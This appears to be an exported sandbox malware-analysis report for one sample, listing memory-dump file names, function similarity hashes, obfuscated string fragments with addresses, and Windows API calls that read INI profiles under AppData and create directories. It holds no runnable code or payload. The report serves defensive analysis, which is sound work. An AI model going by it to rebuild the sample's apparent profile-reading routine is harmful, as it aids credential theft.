Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectoryPrivateProfile$FolderNamesPathSectionString__fread_nolock
String ID: 3$AAHY_$AAHY_A$AAHY_A$AAHY_A$AAHY_A$AAHY_A$EA\D_S^Q$KA]]bGQY\Bbju$KA]]bGQY\Bbju$KA]]bGQY\Bbju$NK]D$NK]D$W$W$W$W$W$W$W[_Q$X\C$X\C$X\C$X^V$Y$\$\$]O\CF]AP$]O\CF]AP$]\@VX^V$]\@VX^V$_$_EXV$_FFY$cannot use operator[] with a string argument with $juRJ$qB@W$qEJI$qEJI$qEJI$qEJI$qEJI$qEJI$qMJB$qMJB$qMJB$qMJB$qMJB$qMJB$q^]_$q^]_qB@W$}O[X$}\@V
API String ID: 2072836128-3861287385
Opcode ID: 85ba5dad1711929be7164f72766bcf9a0a6b1f0db69b70233226be29fe71f8a5
Instruction ID: 4b070e531532452ae8c85465dd0fbbc975f917c638135e250e2dfc1bb8c1979f
Opcode Fuzzy Hash: 85ba5dad1711929be7164f72766bcf9a0a6b1f0db69b70233226be29fe71f8a5
Instruction Fuzzy Hash: A353CD70C042998BDF25CB68CD89BEEBBB4AF15304F1481DDD44967282EB745B89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 009F64A0 Relevance: 95.6, Strings: 75, Instructions: 1823COMMON

Download Yara Rule

Strings

\SZX, xrefs: 009F8266
X\C, xrefs: 009F6666
X^V, xrefs: 009F67C7
OL, xrefs: 009F83AA
WT, xrefs: 009F7A63
X^V, xrefs: 009F7E4E
X\C, xrefs: 009F7836
R]AP, xrefs: 009F8057
q, xrefs: 009F71E9
LL, xrefs: 009F6BA7
X^VG, xrefs: 009F693F
]O\CF]AP, xrefs: 009F6758
]\@V, xrefs: 009F7E44
ZL, xrefs: 009F6B3B
AN, xrefs: 009F760A
]\@V, xrefs: 009F67F6
AAHY_, xrefs: 009F66D9
X^V, xrefs: 009F70DB
]\@V, xrefs: 009F7098
X\C, xrefs: 009F7CE6
BE\F, xrefs: 009F75FC
]O\CF]AP, xrefs: 009F7033
]\@V, xrefs: 009F70D1
X\C, xrefs: 009F7807
LL, xrefs: 009F7378
ZL, xrefs: 009F75DF
X^V, xrefs: 009F79AD
X\C, xrefs: 009F6F35
BE\F, xrefs: 009F6AB8
q, xrefs: 009F69E1
X\C, xrefs: 009F6F64
AAHY_, xrefs: 009F78BE
]\@V, xrefs: 009F7E0B
X^V, xrefs: 009F7974
]\@V, xrefs: 009F79A3
WT, xrefs: 009F6C4C
qJFC, xrefs: 009F804D
ZL, xrefs: 009F7314
X^V, xrefs: 009F6800
i, xrefs: 009F7B3D
{bf7, xrefs: 009F83A0
AN, xrefs: 009F6ACC
X^V, xrefs: 009F70A2
]O\CF]AP, xrefs: 009F7945
WT, xrefs: 009F741D
ql]_FAVFF, xrefs: 009F6526
WT, xrefs: 009F7F04
AAHY_, xrefs: 009F6FEC
qH@H, xrefs: 009F825C
q~NC, xrefs: 009F729A
AAHY_, xrefs: 009F6FB4
]O\CF]AP, xrefs: 009F7905
}\@V, xrefs: 009F6935
]O\CF]AP, xrefs: 009F7DE6
]\@V, xrefs: 009F67BD
ZL, xrefs: 009F8037
q^NC, xrefs: 009F75F5
]O\CF]AP, xrefs: 009F7DA6
q, xrefs: 009F713D
AAHY_, xrefs: 009F7D36
]O\CF]AP, xrefs: 009F6798
BE\F, xrefs: 009F72A1
q~NC, xrefs: 009F6AAE
AAHY_, xrefs: 009F7D65
]O\CF]AP, xrefs: 009F7073
X^V, xrefs: 009F7E15
AAHY_, xrefs: 009F7886
ZL, xrefs: 009F8246
AN, xrefs: 009F72AF
X\C, xrefs: 009F6689
JQM$, xrefs: 009F8396
AAHY_, xrefs: 009F6711
q, xrefs: 009F6862
X\C, xrefs: 009F7CB7
]\@V, xrefs: 009F796A

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateDirectoryErrorLast
String ID: AAHY_$AAHY_$AAHY_$AAHY_$AAHY_$AAHY_$AAHY_$AAHY_$AN$AN$AN$BE\F$BE\F$BE\F$JQM$$LL$LL$OL$R]AP$WT$WT$WT$WT$X\C$X\C$X\C$X\C$X\C$X\C$X\C$X\C$X^V$X^V$X^V$X^V$X^V$X^V$X^V$X^V$X^VG$ZL$ZL$ZL$ZL$ZL$\SZX$]O\CF]AP$]O\CF]AP$]O\CF]AP$]O\CF]AP$]O\CF]AP$]O\CF]AP$]O\CF]AP$]O\CF]AP$]\@V$]\@V$]\@V$]\@V$]\@V$]\@V$]\@V$]\@V$i$q$q$q$q$qH@H$qJFC$q^NC$ql]_FAVFF$q~NC$q~NC${bf7$}\@V
API String ID: 460572287-3802225404
Opcode ID: 48a53b86465026b5657d67b53bd76cc0c4b8ad90dff0fee53ae3be94e35c2066
Instruction ID: b393d7de507cb85786f3177102681a1f32afc4e24509941e3700c42e3655089e
Opcode Fuzzy Hash: 48a53b86465026b5657d67b53bd76cc0c4b8ad90dff0fee53ae3be94e35c2066
Instruction Fuzzy Hash: 48137D30C0429CDEDB25EBA8DD59BEEBBB4AF25304F5441D8D04967292EB741F88CB52

Uniqueness

Uniqueness Score: -1.00%

Function 009FB4B0 Relevance: 55.0, Strings: 43, Instructions: 1224COMMON

Download Yara Rule

Strings

NO]T, xrefs: 009FC2AF
q, xrefs: 009FBFEB
CGL[_S^Q, xrefs: 009FC20D
qml, xrefs: 009FBC56
q, xrefs: 009FBE97
YGBU, xrefs: 009FBAC2
WSE, xrefs: 009FC300
TZ, xrefs: 009FC4F0
q, xrefs: 009FB74E
r, xrefs: 009FBF9E
AO\DnT\AG, xrefs: 009FC399
COBUn]]kVWE\, xrefs: 009FC290
TZ, xrefs: 009FC4B3
q, xrefs: 009FBDD7
|x, xrefs: 009FC815
EJG, xrefs: 009FBF51
?, xrefs: 009FBB15
HV_oHWRF, xrefs: 009FC621
HV_o\]]@], xrefs: 009FC5A6
]^F9, xrefs: 009FBB0B
ZL, xrefs: 009FB98A
HV_oHWRF, xrefs: 009FC5E7
ql]_FAVFF, xrefs: 009FBC49
WSE, xrefs: 009FC2C3
q, xrefs: 009FB8BF
YGBU, xrefs: 009FBA92
HV_o\]]@], xrefs: 009FC56A
qfFCE]AM, xrefs: 009FB539
ql]_FAVFF, xrefs: 009FB516
E]AM, xrefs: 009FB808
, xrefs: 009FC874
COBUn]]kVWE\, xrefs: 009FC258
ZL, xrefs: 009FC0B6
n\FY, xrefs: 009FC2B9
qfFC, xrefs: 009FB7FE
X\C, xrefs: 009FBA53
X\C, xrefs: 009FBA33
q, xrefs: 009FB6A7
AO\DnT\AG, xrefs: 009FC359
CGL[_S^Q, xrefs: 009FC1D3
n\FY, xrefs: 009FC2F6
NO]T, xrefs: 009FC2EC
r, xrefs: 009FB872

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: $?$AO\DnT\AG$AO\DnT\AG$CGL[_S^Q$CGL[_S^Q$COBUn]]kVWE\$COBUn]]kVWE\$EJG$E]AM$HV_oHWRF$HV_oHWRF$HV_o\]]@]$HV_o\]]@]$NO]T$NO]T$TZ$TZ$WSE$WSE$X\C$X\C$YGBU$YGBU$ZL$ZL$]^F9$n\FY$n\FY$q$q$q$q$q$q$qfFC$qfFCE]AM$ql]_FAVFF$ql]_FAVFF$qml$r$r$|x
API String ID: 1375471231-2901270690
Opcode ID: fc1843d373af94dea99e895dd0b5bcff3b0bd2828fb12eca7be7917739fee586
Instruction ID: f4caa9f35e6da216a681cd99915979f0cf2d8c32ec67faa315d9a3b4c60dc363
Opcode Fuzzy Hash: fc1843d373af94dea99e895dd0b5bcff3b0bd2828fb12eca7be7917739fee586
Instruction Fuzzy Hash: 65C28A70D0429C9EDF25EB64C959BEEBBB4AF21304F0441D8E44A67192EB741F89CF92

Uniqueness

Uniqueness Score: -1.00%

Function 009D9A80 Relevance: 49.2, APIs: 3, Strings: 24, Instructions: 1981COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009D9BA8
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 009D9C52
GetPrivateProfileStringA.KERNEL32(?,}O[X,00000000,?,00000104,?), ref: 009D9D16

Strings

}O[X, xrefs: 009D9D11, 009D9D14
P, xrefs: 009D9BE1
q^]_, xrefs: 009D9BCC
^KLECW, xrefs: 009DAC95, 009DACC2
@, xrefs: 009DB44A
}\@V, xrefs: 009D9C64
1, xrefs: 009DAAA1
]O[X, xrefs: 009DA995, 009DA9C2
NA@[, xrefs: 009D9B05
COBU, xrefs: 009DB185, 009DB1B2
XW@, xrefs: 009DB575
XW@, xrefs: 009D9B0C
HV_YCSG]ZXsYM_, xrefs: 009DAF7B, 009DAFAF
EZ[@~\_M, xrefs: 009DA6D9, 009DA70C
cannot use operator[] with a string argument with , xrefs: 009DB6BE, 009DB6FA
X^V, xrefs: 009D9C70
\, xrefs: 009D9D1C
[OCET, xrefs: 009DB39B, 009DB3CC
IABQX\, xrefs: 009DA3DB, 009DA40C
NA@[, xrefs: 009DB569
W[_Q, xrefs: 009D9BD3
\, xrefs: 009D9F61
1, xrefs: 009DA4EA
/, xrefs: 009D9E4C

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionString
String ID: /$1$1$@$COBU$EZ[@~\_M$HV_YCSG]ZXsYM_$IABQX\$NA@[$NA@[$P$W[_Q$XW@$XW@$X^V$[OCET$\$\$]O[X$^KLECW$cannot use operator[] with a string argument with $q^]_$}O[X$}\@V
API String ID: 1539182551-2310396791
Opcode ID: 0aed85e5691bfd0e4b6e0116c5ca00e98565390f798704e476a86dd1eeadbf44
Instruction ID: 5e5f306dc721a029f6688076459e653ddb1471b022e48d497abac2f4d2077e29
Opcode Fuzzy Hash: 0aed85e5691bfd0e4b6e0116c5ca00e98565390f798704e476a86dd1eeadbf44
Instruction Fuzzy Hash: EB03DE70D04299CFDB25CB28C944BEEBBB4AF55304F1481DAE449AB382D774AE85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009FCC40 Relevance: 47.9, APIs: 10, Strings: 17, Instructions: 688
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009E2BC0: CreateDirectoryA.KERNEL32(00000000,00000000,00000000), ref: 009E2C53
Part of subcall function 009E2BC0: CreateDirectoryA.KERNEL32(00000000,00000000), ref: 009E2CAF
Part of subcall function 009E2BC0: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009E2CE0

CreateDirectoryA.KERNEL32(?,00000000), ref: 009FCCE2
CreateDirectoryA.KERNEL32(?,00000000,-00000034,-0000004C), ref: 009FCE22
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,-00000034,-0000004C), ref: 009FCEB5
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,-00000034,-0000004C), ref: 009FCF4B
CreateDirectoryA.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,-00000034,-0000004C), ref: 009FD094
CreateDirectoryA.KERNEL32(?,00000000), ref: 009FD1C8
CreateDirectoryA.KERNEL32(?,00000000,-00000034,-0000004C), ref: 009FD2ED
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,-00000034,-0000004C), ref: 009FD39B
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,-00000034,-0000004C), ref: 009FD44C
CreateDirectoryA.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,-00000034,-0000004C), ref: 009FD583

Strings

q, xrefs: 009FCFE7
q, xrefs: 009FCECC
d@KUIWWpw, xrefs: 009FCF90
~WAS, xrefs: 009FD4BC
q, xrefs: 009FD280
~WAS, xrefs: 009FCFB2
q, xrefs: 009FD4F1
qyN\]WGG, xrefs: 009FD191
q~CEV[]G, xrefs: 009FCCA5
q, xrefs: 009FD2F7
q, xrefs: 009FD3B2
q, xrefs: 009FCE2C
aALQ], xrefs: 009FD4D7
q, xrefs: 009FCD9A
&, xrefs: 009FD636
d@KUIWWpw, xrefs: 009FD49A
aALQ], xrefs: 009FCFCD

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
